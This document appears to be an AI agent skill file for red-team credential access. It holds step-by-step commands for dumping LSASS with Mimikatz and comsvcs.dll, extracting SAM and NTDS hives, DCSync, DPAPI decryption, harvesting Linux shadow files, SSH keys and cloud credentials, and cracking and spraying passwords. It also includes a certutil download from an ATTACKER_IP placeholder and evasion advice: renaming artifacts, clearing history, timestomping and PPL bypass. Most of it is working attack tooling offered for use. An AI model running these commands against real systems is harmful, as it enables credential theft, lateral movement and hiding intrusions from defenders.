---
name: rt-credential-access
description: "Credential access and dumping skill. Windows: Mimikatz sekurlsa::logonpasswords and lsadump::sam, secretsdump.py remote dump, SAM/SYSTEM hive extraction, DPAPI master key decryption, browser credentials with LaZagne, Windows Credential Manager. Linux: /etc/shadow extraction, SSH private key hunting, bash history credential mining, application config file passwords. Hashcat cracking integration."
---

# rt-credential-access

## Overview

Credential access covers techniques used to steal account names, passwords, hashes, tokens, and cryptographic material from compromised systems. This skill maps to MITRE ATT&CK Tactic TA0006 and is executed after initial access and privilege escalation to extend access, enable lateral movement, and achieve persistence.

**When to use this skill:**
- You have a foothold (shell/RDP/WinRM) on a target and need to harvest credentials for lateral movement
- You need to escalate from a low-privilege account by cracking a local admin hash
- You are performing a domain compromise chain and need NTLM hashes or Kerberos tickets
- You are demonstrating credential hygiene failures in a red team report (password reuse, cleartext storage)
- You have remote access to a domain controller and want to perform a DCSync or VSS shadow copy dump

**Scope of this skill:**
- Windows: LSASS memory dumps, SAM/SYSTEM hive extraction, DPAPI decryption, browser credential harvest, Windows Credential Manager, remote secretsdump
- Linux: /etc/shadow, SSH key hunting, bash history mining, application config files
- Cracking: Hashcat integration for offline hash cracking

---

## Prerequisites and Tool Setup

### Operator Machine (Kali Linux)

```bash
# Update system
sudo apt update && sudo apt upgrade -y

# Impacket suite (includes secretsdump.py, wmiexec.py, etc.)
sudo apt install -y python3-impacket impacket-scripts
# OR install from source for latest version
git clone https://github.com/fortra/impacket.git /opt/impacket
cd /opt/impacket && pip3 install -e .

# Hashcat
sudo apt install -y hashcat

# John the Ripper (alternative cracker)
sudo apt install -y john

# LaZagne (browser + app credential dumper)
git clone https://github.com/AlessandroZ/LaZagne.git /opt/lazagne
cd /opt/lazagne && pip3 install -r requirements.txt

# CrackMapExec (CME) for network-wide credential validation
sudo apt install -y crackmapexec
# OR pipx install
pipx install crackmapexec

# NetExec (CME successor)
pipx install git+https://github.com/Pennyw0rth/NetExec

# Mimikatz (pre-compiled for Windows targets)
# Download from releases — keep on operator machine, transfer as needed
wget https://github.com/gentilkiwi/mimikatz/releases/latest/download/mimikatz_trunk.zip -O /opt/mimikatz.zip
unzip /opt/mimikatz.zip -d /opt/mimikatz/

# pypykatz (pure Python Mimikatz — runs on Linux, parses LSASS dumps)
pip3 install pypykatz

# Wordlists
sudo apt install -y wordlists
sudo gunzip /usr/share/wordlists/rockyou.txt.gz

# Useful rules for hashcat
ls /usr/share/hashcat/rules/
```

### Required Privileges by Technique

| Technique | Required Privilege |
|---|---|
| sekurlsa::logonpasswords | SYSTEM or local admin (SeDebugPrivilege) |
| lsadump::sam | SYSTEM |
| lsadump::dcsync | Domain Admin or replication rights |
| secretsdump.py remote | Domain Admin or local admin on target |
| SAM/SYSTEM hive copy | SYSTEM (or Volume Shadow Copy) |
| /etc/shadow read | root |
| LaZagne browser creds | Current user (targets current user profile) |
| DPAPI decryption | Current user or SYSTEM with masterkey |

---

## Skill Levels

### BEGINNER — Foundational Techniques

**Goal:** Understand what credentials look like, where they live, and how to extract them safely.

**Techniques:**
- Identify logged-on users and sessions
- Dump SAM hive (offline)
- Read bash history and config files
- Run LaZagne for browser creds
- Crack NTLM hashes with rockyou

**Tools:** secretsdump.py, LaZagne, Hashcat basic modes

---

### INTERMEDIATE — Active Exploitation

**Goal:** Extract credentials from live systems, validate them across the network, and begin lateral movement.

**Techniques:**
- LSASS dump via Task Manager or procdump
- Mimikatz sekurlsa::logonpasswords
- secretsdump.py against remote targets
- /etc/shadow extraction and unshadow
- SSH key hunting on Linux targets
- Credential spraying with CME/NetExec

**Tools:** Mimikatz, secretsdump.py, CME, pypykatz, John

---

### ADVANCED — Evasion and Stealth

**Goal:** Extract credentials while minimizing EDR/AV detection, abuse trust relationships.

**Techniques:**
- LSASS dump via MiniDumpWriteDump API (custom loader)
- Comsvcs.dll rundll32 dump (LOLBin)
- DCSync via lsadump::dcsync (no LSASS touch on DC)
- DPAPI masterkey decryption for domain credentials
- Shadow copy extraction to bypass file locks
- Token impersonation after credential use

**Tools:** Mimikatz, pypykatz, custom dump loaders, VSS

---

### EXPERT — Deep Exploitation and Novel Paths

**Goal:** Exploit complex trust paths, recover credentials from non-obvious sources, demonstrate systemic credential hygiene failures.

**Techniques:**
- DCSync from a compromised machine with delegated replication rights
- DPAPI blob decryption for RDP saved credentials and Wi-Fi keys
- Extracting credentials from memory-mapped database files (NTDS.dit offline)
- KeePass master password recovery from process memory
- Azure AD Connect credential extraction (MSOL account)
- Extracting credentials from Group Policy Preferences (SYSVOL)
- ESXi/vCenter credential files
- AWS/GCP credential files and instance metadata

**Tools:** Mimikatz, secretsdump.py against NTDS.dit, impacket ntds tools, custom Python

---

## Step-by-Step Attack Workflow

### Phase 1 — Enumeration and Reconnaissance

```bash
# 1. Identify target OS and users (from your existing foothold)
# On Windows target (cmd/PowerShell):
whoami /all
net user
net localgroup administrators
query user

# On Linux target:
id
cat /etc/passwd | grep -v nologin | grep -v false
last -a | head -20
w

# 2. Check what credential stores exist
# Windows:
cmdkey /list                          # Windows Credential Manager
dir "%APPDATA%\Microsoft\Credentials" # DPAPI blobs
dir "%LOCALAPPDATA%\Google\Chrome\User Data\Default\" # Chrome profile

# Linux:
find / -name "*.pem" -o -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
find / -name ".env" -o -name "*.conf" -o -name "*.cfg" 2>/dev/null | head -30
cat ~/.bash_history | grep -iE "pass|pwd|secret|key|token"
```

### Phase 2 — Windows Credential Extraction

#### 2A. Mimikatz — LSASS Memory (Requires SYSTEM/Admin)

```powershell
# Transfer Mimikatz to target (operator machine → target)
# Use your C2 or:
certutil -urlcache -f http://ATTACKER_IP/mimikatz.exe C:\Windows\Temp\m.exe

# Run Mimikatz (PowerShell or cmd as admin)
C:\Windows\Temp\m.exe

# Inside Mimikatz interactive prompt:
privilege::debug
sekurlsa::logonpasswords          # Dump cleartext + NTLM from LSASS
sekurlsa::wdigest                 # Force WDigest plaintext (older systems)
lsadump::sam                      # Dump SAM database
lsadump::secrets                  # LSA secrets (service account passwords)
lsadump::cache                    # Cached domain credentials (DCC2 hashes)
exit

# One-liner (no interactive prompt):
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit" > C:\Windows\Temp\creds.txt
```

#### 2B. LSASS Dump via LOLBin (Comsvcs.dll — Stealthier)

```powershell
# Get LSASS PID
$lsass = Get-Process lsass | Select-Object -ExpandProperty Id
# OR: tasklist | findstr lsass

# Dump using comsvcs.dll (built-in Windows DLL, often bypasses AV)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsass C:\Windows\Temp\lsass.dmp full

# Transfer dump to operator machine and parse with pypykatz
# On Kali:
scp target_user@TARGET_IP:C:/Windows/Temp/lsass.dmp /tmp/
pypykatz lsa minidump /tmp/lsass.dmp
```

#### 2C. SAM/SYSTEM Hive Extraction (Registry Export)

```cmd
# Export SAM and SYSTEM hives (requires admin)
reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY

# Transfer to Kali and dump with secretsdump.py
# On Kali:
impacket-secretsdump -sam /tmp/SAM -system /tmp/SYSTEM -security /tmp/SECURITY LOCAL
```

#### 2D. Shadow Copy Extraction (Bypass File Locks)

```cmd
# List shadow copies
vssadmin list shadows

# Create a new shadow copy if needed
wmic shadowcopy call create Volume='C:\'

# Copy SAM/SYSTEM from shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\Windows\Temp\SAM_vss
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM_vss
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\ntds\ntds.dit C:\Windows\Temp\ntds.dit
```

#### 2E. Remote Dump with secretsdump.py (No File on Target)

```bash
# Dump SAM + LSA secrets remotely using admin credentials
impacket-secretsdump DOMAIN/Administrator:Password@TARGET_IP

# With NTLM hash (pass-the-hash)
impacket-secretsdump -hashes :NTLM_HASH DOMAIN/Administrator@TARGET_IP

# Against domain controller (dumps all domain hashes via VSS)
impacket-secretsdump DOMAIN/DomainAdmin:Password@DC_IP -just-dc

# DCSync (no VSS, uses replication protocol — much stealthier on DC)
impacket-secretsdump DOMAIN/DomainAdmin:Password@DC_IP -just-dc-user Administrator
impacket-secretsdump DOMAIN/DomainAdmin:Password@DC_IP -just-dc-ntlm

# Parse NTDS.dit offline after transfer
impacket-secretsdump -ntds /tmp/ntds.dit -system /tmp/SYSTEM LOCAL
```

#### 2F. DCSync via Mimikatz (Stealthiest DC Attack)

```powershell
# On a machine with DA or replication rights:
mimikatz.exe "lsadump::dcsync /domain:CORP.LOCAL /user:Administrator" "exit"

# Dump all domain hashes (noisy — only do in authorized engagements with explicit scope):
mimikatz.exe "lsadump::dcsync /domain:CORP.LOCAL /all /csv" "exit"
```

#### 2G. DPAPI — Saved Credentials Decryption

```powershell
# List DPAPI credential blobs for current user
dir "%APPDATA%\Microsoft\Credentials\"
dir "%LOCALAPPDATA%\Microsoft\Credentials\"

# Dump master keys (requires Mimikatz as current user or SYSTEM):
mimikatz.exe "dpapi::cred /in:%APPDATA%\Microsoft\Credentials\<BLOB_FILE>" "exit"

# If SYSTEM: decrypt domain backup key to decrypt any user's masterkey
mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit"

# Decrypt specific blob with masterkey GUID:
mimikatz.exe "dpapi::masterkey /in:%APPDATA%\Microsoft\Protect\<SID>\<GUID> /rpc" "dpapi::cred /in:%APPDATA%\Microsoft\Credentials\<BLOB>" "exit"
```

#### 2H. Browser Credentials with LaZagne

```cmd
# Transfer lazagne.exe to target and run
lazagne.exe browsers
lazagne.exe all                      # All supported modules
lazagne.exe all -oJ                  # JSON output
lazagne.exe all -oA -output C:\Windows\Temp\creds
```

```bash
# On Linux (run as current user):
python3 /opt/lazagne/laZagne.py all
python3 /opt/lazagne/laZagne.py browsers
python3 /opt/lazagne/laZagne.py all -oJ -output /tmp/
```

#### 2I. Windows Credential Manager

```cmd
# List stored credentials
cmdkey /list

# Dump via Mimikatz (requires admin):
mimikatz.exe "privilege::debug" "sekurlsa::credman" "exit"

# PowerShell enumeration:
[Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | ForEach-Object { $_.RetrievePassword(); $_ }
```

### Phase 3 — Linux Credential Extraction

#### 3A. /etc/shadow Extraction

```bash
# Read shadow file (requires root)
cat /etc/shadow

# Combine with /etc/passwd for cracking
unshadow /etc/passwd /etc/shadow > /tmp/unshadowed.txt

# Also check:
cat /etc/passwd           # Check for old-style password field (not 'x')
cat /etc/master.passwd    # BSD systems
```

#### 3B. SSH Private Key Hunting

```bash
# Find SSH private keys across the system
find / -name "id_rsa" -o -name "id_ed25519" -o -name "id_ecdsa" -o -name "*.pem" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null   # Find where keys are accepted

# Check home directories
for dir in /home/*; do ls -la $dir/.ssh/ 2>/dev/null; done
ls -la /root/.ssh/

# Check for passphrase-protected keys (try empty passphrase first)
ssh-keygen -y -f /path/to/key    # Prompts if passphrase required

# If protected, crack with John:
python3 /usr/share/john/ssh2john.py /path/to/id_rsa > /tmp/ssh_hash.txt
john /tmp/ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
```

#### 3C. Bash History and Config File Mining

```bash
# Current and other user histories
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.fish_history
for user in $(cat /etc/passwd | cut -d: -f1,6 | grep -v nologin | grep -v false | cut -d: -f2); do
    echo "=== $user ===" && cat $user/.bash_history 2>/dev/null
done

# Grep for credentials in histories
grep -iE "(pass|pwd|secret|key|token|api|bearer|auth|curl.*-u|mysql.*-p|psql.*-W)" ~/.bash_history

# Application configuration files
find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" -o -name "*.env" -o -name "*.yaml" -o -name "*.yml" 2>/dev/null | xargs grep -l -iE "(password|passwd|secret|api_key|token)" 2>/dev/null

# Web app configs
find /var/www /srv /opt /home -name "wp-config.php" -o -name "config.php" -o -name "database.yml" -o -name ".env" 2>/dev/null
cat /var/www/html/wp-config.php 2>/dev/null | grep -iE "DB_PASS|DB_USER"

# Database credential files
cat ~/.my.cnf 2>/dev/null
cat ~/.pgpass 2>/dev/null
cat /etc/mysql/debian.cnf 2>/dev/null

# Cloud credential files
cat ~/.aws/credentials 2>/dev/null
cat ~/.aws/config 2>/dev/null
cat ~/.config/gcloud/application_default_credentials.json 2>/dev/null
cat ~/.azure/accessTokens.json 2>/dev/null

# Docker and Kubernetes
cat ~/.docker/config.json 2>/dev/null
cat ~/.kube/config 2>/dev/null

# SSH config (reveals hostnames, users, key paths for lateral movement)
cat ~/.ssh/config 2>/dev/null
cat /etc/ssh/ssh_config 2>/dev/null
```

#### 3D. Running Process and Memory Mining

```bash
# Check running processes for credentials in command-line args
ps auxww | grep -iE "(pass|pwd|secret|token|key)"

# Check /proc for sensitive environment variables of running processes
for pid in $(ls /proc | grep -E '^[0-9]+$'); do
    cat /proc/$pid/environ 2>/dev/null | tr '\0' '\n' | grep -iE "(pass|pwd|secret|key|token|api)"
done

# Check process memory strings (requires root or same user as process)
strings /proc/<PID>/mem 2>/dev/null | grep -iE "(password|passwd|secret)"
```

### Phase 4 — Hash Cracking with Hashcat

```bash
# Identify hash type before cracking
hashcat --identify /tmp/hashes.txt

# NTLM hashes (Windows) — hashcat mode 1000
hashcat -m 1000 /tmp/ntlm_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1000 /tmp/ntlm_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule

# NTLMv2 (Net-NTLMv2 from Responder captures) — mode 5600
hashcat -m 5600 /tmp/netntlmv2.txt /usr/share/wordlists/rockyou.txt

# MD5 — mode 0
hashcat -m 0 /tmp/md5_hashes.txt /usr/share/wordlists/rockyou.txt

# SHA-256 — mode 1400
hashcat -m 1400 /tmp/sha256.txt /usr/share/wordlists/rockyou.txt

# bcrypt — mode 3200 (slow)
hashcat -m 3200 /tmp/bcrypt.txt /usr/share/wordlists/rockyou.txt

# SHA-512 crypt (Linux /etc/shadow $6$) — mode 1800
hashcat -m 1800 /tmp/shadow_hashes.txt /usr/share/wordlists/rockyou.txt

# DCC2 (domain cached credentials $DCC2$) — mode 2100
hashcat -m 2100 /tmp/dcc2_hashes.txt /usr/share/wordlists/rockyou.txt

# Kerberos TGS (AS-REP, Kerberoasting) — mode 18200 / 13100
hashcat -m 18200 /tmp/asrep_hashes.txt /usr/share/wordlists/rockyou.txt   # AS-REP roasting
hashcat -m 13100 /tmp/tgs_hashes.txt /usr/share/wordlists/rockyou.txt    # Kerberoasting

# Use mask attack for password patterns (e.g., Company2024!)
hashcat -m 1000 /tmp/ntlm.txt -a 3 "Company?d?d?d?d!"

# Combination attack — combine two wordlists
hashcat -m 1000 /tmp/ntlm.txt -a 1 /tmp/words1.txt /tmp/words2.txt

# Show cracked passwords
hashcat -m 1000 /tmp/ntlm.txt --show

# John the Ripper alternative
john /tmp/unshadowed.txt --wordlist=/usr/share/wordlists/rockyou.txt
john /tmp/unshadowed.txt --show
```

### Phase 5 — Credential Validation and Spraying

```bash
# Validate a single credential against SMB
nxc smb TARGET_IP -u Administrator -p 'Password123!'
nxc smb TARGET_IP -u Administrator -H NTLM_HASH   # Pass-the-hash

# Spray a credential across a subnet
nxc smb 192.168.1.0/24 -u Administrator -p 'Password123!'

# Spray against a list of users
nxc smb TARGET_IP -u /tmp/users.txt -p 'Winter2024!' --continue-on-success

# WinRM validation
nxc winrm TARGET_IP -u Administrator -p 'Password123!'

# SSH validation
nxc ssh TARGET_IP -u root -p 'Password123!'
ssh -i /tmp/stolen_id_rsa user@TARGET_IP

# Validate domain credentials
nxc smb DC_IP -u DomainUser -p 'Password123!' -d CORP.LOCAL
```

---

## Real Attack Scenarios

### Scenario 1 — Windows Internal Network: Local Admin to Domain Admin

**Context:** You have a Meterpreter shell on a Windows 10 workstation as a local admin. Goal: extract domain admin credentials.

```bash
# Step 1: From Meterpreter, migrate to a SYSTEM process or use getsystem
# In Meterpreter:
getsystem
getuid   # Should show NT AUTHORITY\SYSTEM

# Step 2: Dump LSASS with Mimikatz Meterpreter module
load kiwi
creds_all
lsa_dump_sam

# Step 3: Look for domain user credentials in output
# If domain user credentials are found (plaintext or NTLM hash):
# Note: CORP\jsmith : NTLMhash_value

# Step 4: Validate the hash against the DC
nxc smb DC_IP -u jsmith -H NTLM_HASH -d CORP.LOCAL

# Step 5: If jsmith has DA rights, run DCSync to dump all hashes
impacket-secretsdump -hashes :NTLM_HASH CORP.LOCAL/jsmith@DC_IP -just-dc-ntlm

# Step 6: Crack the krbtgt hash for Golden Ticket (if in scope)
hashcat -m 1000 /tmp/dc_hashes.txt /usr/share/wordlists/rockyou.txt

# Step 7: Document all found credentials with context
```

---

### Scenario 2 — Linux Web Server Compromise: App Creds to Root

**Context:** You have a low-privilege shell on a Linux web server (www-data). Goal: escalate to root and extract all credentials.

```bash
# Step 1: Mine application config files for database passwords
find /var/www -name "*.php" -o -name "*.env" -o -name "*.conf" 2>/dev/null | \
    xargs grep -l -iE "(password|DB_PASS|secret)" 2>/dev/null

cat /var/www/html/app/.env
# Found: DB_PASSWORD=SuperSecret123

# Step 2: Connect to database and extract password hashes
mysql -u webapp_user -p'SuperSecret123' -e "SELECT user, authentication_string FROM mysql.user;" 2>/dev/null

# Step 3: Check bash history of www-data and other users
cat ~/.bash_history | grep -iE "(pass|sudo|su |ssh)"

# Step 4: Hunt for SSH keys
find /home /var/www /root -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
# Found: /home/deploy/.ssh/id_rsa

# Step 5: Use the deploy key to SSH to other systems
ssh -i /home/deploy/.ssh/id_rsa deploy@192.168.10.50

# Step 6: If root is obtained (via sudo/kernel exploit), extract /etc/shadow
sudo cat /etc/shadow > /tmp/shadow.txt
unshadow /etc/passwd /etc/shadow > /tmp/unshadowed.txt

# Step 7: Transfer to Kali and crack
scp attacker@KALI_IP:/tmp/unshadowed.txt .
hashcat -m 1800 /tmp/unshadowed.txt /usr/share/wordlists/rockyou.txt
```

---

### Scenario 3 — Remote Domain Controller: Secretsdump + Full Domain Compromise

**Context:** You have obtained Domain Admin credentials through phishing + privilege escalation. Goal: dump entire Active Directory for documentation.

```bash
# Step 1: Validate DA credentials
nxc smb DC_IP -u 'DomainAdmin' -p 'Passw0rd!' -d CORP.LOCAL --shares

# Step 2: Remote secretsdump against DC (VSS method — dumps NTDS.dit remotely)
impacket-secretsdump 'CORP.LOCAL/DomainAdmin:Passw0rd!@DC_IP' -just-dc -outputfile /tmp/corp_domain_dump

# Step 3: Review output files
cat /tmp/corp_domain_dump.ntds | head -50
# Format: domain\user:RID:LM_HASH:NTLM_HASH:::

# Step 4: Extract just NTLM hashes for cracking
cut -d: -f4 /tmp/corp_domain_dump.ntds > /tmp/ntlm_only.txt

# Step 5: Crack with hashcat — prioritize high-value accounts
# First check if Administrator hash is already known:
grep "Administrator" /tmp/corp_domain_dump.ntds

# Run cracking job:
hashcat -m 1000 /tmp/ntlm_only.txt /usr/share/wordlists/rockyou.txt \
    -r /usr/share/hashcat/rules/best64.rule \
    -r /usr/share/hashcat/rules/d3ad0ne.rule \
    -o /tmp/cracked.txt

# Step 6: Map cracked passwords back to usernames
hashcat -m 1000 /tmp/ntlm_only.txt --show --username

# Step 7: Check for password reuse across accounts
# Extract cracked passwords
cut -d: -f2 /tmp/cracked.txt | sort -u > /tmp/passwords.txt

# Spray cracked passwords against other services
nxc smb 192.168.1.0/24 -u /tmp/users.txt -p /tmp/passwords.txt --continue-on-success

# Step 8: Check for krbtgt hash (enables Golden Ticket)
grep "krbtgt" /tmp/corp_domain_dump.ntds

# Step 9: Dump browser credentials on DA workstation (lateral move)
nxc smb DA_WORKSTATION_IP -u 'DomainAdmin' -p 'Passw0rd!' -d CORP.LOCAL \
    --exec-method smbexec \
    -x "lazagne.exe all -oJ"
```

---

## OPSEC Considerations

### Detection Risks

| Technique | Detection Risk | Triggered By |
|---|---|---|
| sekurlsa::logonpasswords | CRITICAL | LSASS access, Mimikatz signatures, Event ID 10 (Sysmon) |
| comsvcs.dll MiniDump | HIGH | rundll32 + comsvcs.dll + lsass.exe in process tree |
| secretsdump.py remote | HIGH | SMB pipe SVCCTL, remote service creation, Event ID 7045 |
| DCSync | MEDIUM-HIGH | Replication RPCs from non-DC machine, Event ID 4662 |
| VSS shadow copy creation | MEDIUM | Event ID 8222 (VSS), unusual wmic.exe activity |
| SAM/SYSTEM reg export | MEDIUM | reg.exe saving HKLM\SAM, Event ID 4663 |
| LaZagne | HIGH | Process creation from temp dirs, network requests, Defender signatures |
| /etc/shadow read | MEDIUM | auditd file access logs (if configured) |
| SSH key access | LOW-MEDIUM | File access logs if auditd active |

### Mitigation Strategies for Operators (Reduce Footprint)

```bash
# 1. Use C2-integrated credential dumping (e.g., Cobalt Strike kiwi, Havoc, Sliver)
#    — avoids dropping files to disk

# 2. For LSASS, prefer API-based dumps over mimikatz.exe on disk
#    — Use SharpDump, Nanodump, or custom loader

# 3. Rename output files to benign names
#    — lsass.dmp → werfault.dmp, creds.txt → update.log

# 4. Delete artifacts immediately after transfer
del C:\Windows\Temp\SAM C:\Windows\Temp\SYSTEM C:\Windows\Temp\lsass.dmp

# 5. Prefer DCSync over LSASS dump on domain controllers
#    — DCSync touches no files on the DC, lower EDR signature

# 6. Avoid running LaZagne or Mimikatz from common temp paths
#    — Use %APPDATA%, user writable paths, or in-memory execution

# 7. Hash cracking always done on operator machine (offline)
#    — Never crack on the target

# 8. Validate credentials slowly — avoid lockout thresholds
#    — Default AD lockout: 5 failed attempts
#    — Space attempts: 1 per hour minimum for spraying

# 9. Clear bash history on Linux after mining
history -c && history -w

# 10. Use timestomping if file artifacts are unavoidable (Windows)
#     Mimikatz: timestomp C:\Windows\Temp\m.exe -m "01/01/2023 00:00:00"
```

### EDR/AV Evasion Notes

- Mimikatz is heavily signatured. Use obfuscated builds, in-memory loading (Invoke-Mimikatz, SharpKatz), or C2 kiwi modules
- comsvcs.dll MiniDump is now flagged by most modern EDRs — consider API-based alternatives (MalSecLogon, NanoDump)
- secretsdump.py generates distinct SMB traffic patterns — use with caution against monitored environments
- Windows Defender blocks most credential dumping by default on modern Windows — check PPL (Protected Process Light) status of LSASS
- Check if LSASS is PPL-protected before attempting memory dump:

```powershell
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL"
# If RunAsPPL = 1, standard LSASS dump will fail — need PPL bypass (mimidrv.sys, PPLdump)
```

---

## Output and Documentation Instructions

### During Engagement — Capture Everything

```bash
# Create organized output directory per target
mkdir -p /tmp/engagement/TARGET_IP/{credentials,hashes,screenshots,notes}

# Redirect all tool output
impacket-secretsdump ... 2>&1 | tee /tmp/engagement/TARGET_IP/credentials/secretsdump_$(date +%Y%m%d_%H%M%S).txt

# Screenshot terminal evidence (tmux logging or script)
script -a /tmp/engagement/TARGET_IP/notes/session_log.txt
# All subsequent commands logged until: exit
```

### Documentation Format for Report

For each credential found, document:

```
Host: TARGET_IP / HOSTNAME
Account: DOMAIN\username (or local)
Type: Cleartext | NTLM Hash | NTLMv2 Hash | Kerberos Hash | SSH Key | API Key
Value: [password or hash — redact in client-facing report if required]
Source: LSASS / SAM / /etc/shadow / Browser / Config File / History
Access Level: Local Admin | Domain User | Domain Admin | Service Account
Cracked: Yes/No — Cracked Password: [value]
Used For: Lateral movement to HOST2 / Validated only / Demonstrated reuse
Evidence File: /path/to/screenshot_or_log
```

### Redaction for Client Reports

- Always hash or truncate actual passwords in executive summaries
- Include full credentials in technical appendix, marked CONFIDENTIAL
- Document password complexity/pattern to highlight policy failures without exposing exact values (e.g., "Password followed pattern: CompanyName + Year + Symbol")

---

## Resources

### Primary Tools

- Mimikatz: https://github.com/gentilkiwi/mimikatz
- Impacket (secretsdump, etc.): https://github.com/fortra/impacket
- LaZagne: https://github.com/AlessandroZ/LaZagne
- pypykatz: https://github.com/skelsec/pypykatz
- NetExec (CME successor): https://github.com/Pennyw0rth/NetExec
- CrackMapExec: https://github.com/byt3bl33d3r/CrackMapExec
- Hashcat: https://github.com/hashcat/hashcat

### Evasion and Advanced Techniques

- NanoDump (stealthy LSASS dump): https://github.com/helpsystems/nanodump
- SharpDump: https://github.com/GhostPack/SharpDump
- Rubeus (Kerberos attacks): https://github.com/GhostPack/Rubeus
- SharpDPAPI (DPAPI attacks): https://github.com/GhostPack/SharpDPAPI
- PPLdump (bypass PPL protected LSASS): https://github.com/itm4n/PPLdump

### Reference Material

- MITRE ATT&CK TA0006 (Credential Access): https://attack.mitre.org/tactics/TA0006/
- MITRE T1003 (OS Credential Dumping): https://attack.mitre.org/techniques/T1003/
- Hashcat example hashes: https://hashcat.net/wiki/doku.php?id=example_hashes
- Hashcat rules collection: https://github.com/NotSoSecure/password_cracking_rules
- ired.team credential access notes: https://www.ired.team/offensive-security/credential-access-and-credential-dumping
- S3cur3Th1sSh1t credential dumping cheatsheet: https://github.com/S3cur3Th1sSh1t/Cheatsheet-God

### Wordlists and Rules

- SecLists passwords: https://github.com/danielmiessler/SecLists/tree/master/Passwords
- Probable-Wordlists: https://github.com/berzerk0/Probable-Wordlists
- OneRuleToRuleThemAll: https://github.com/NotSoSecure/password_cracking_rules
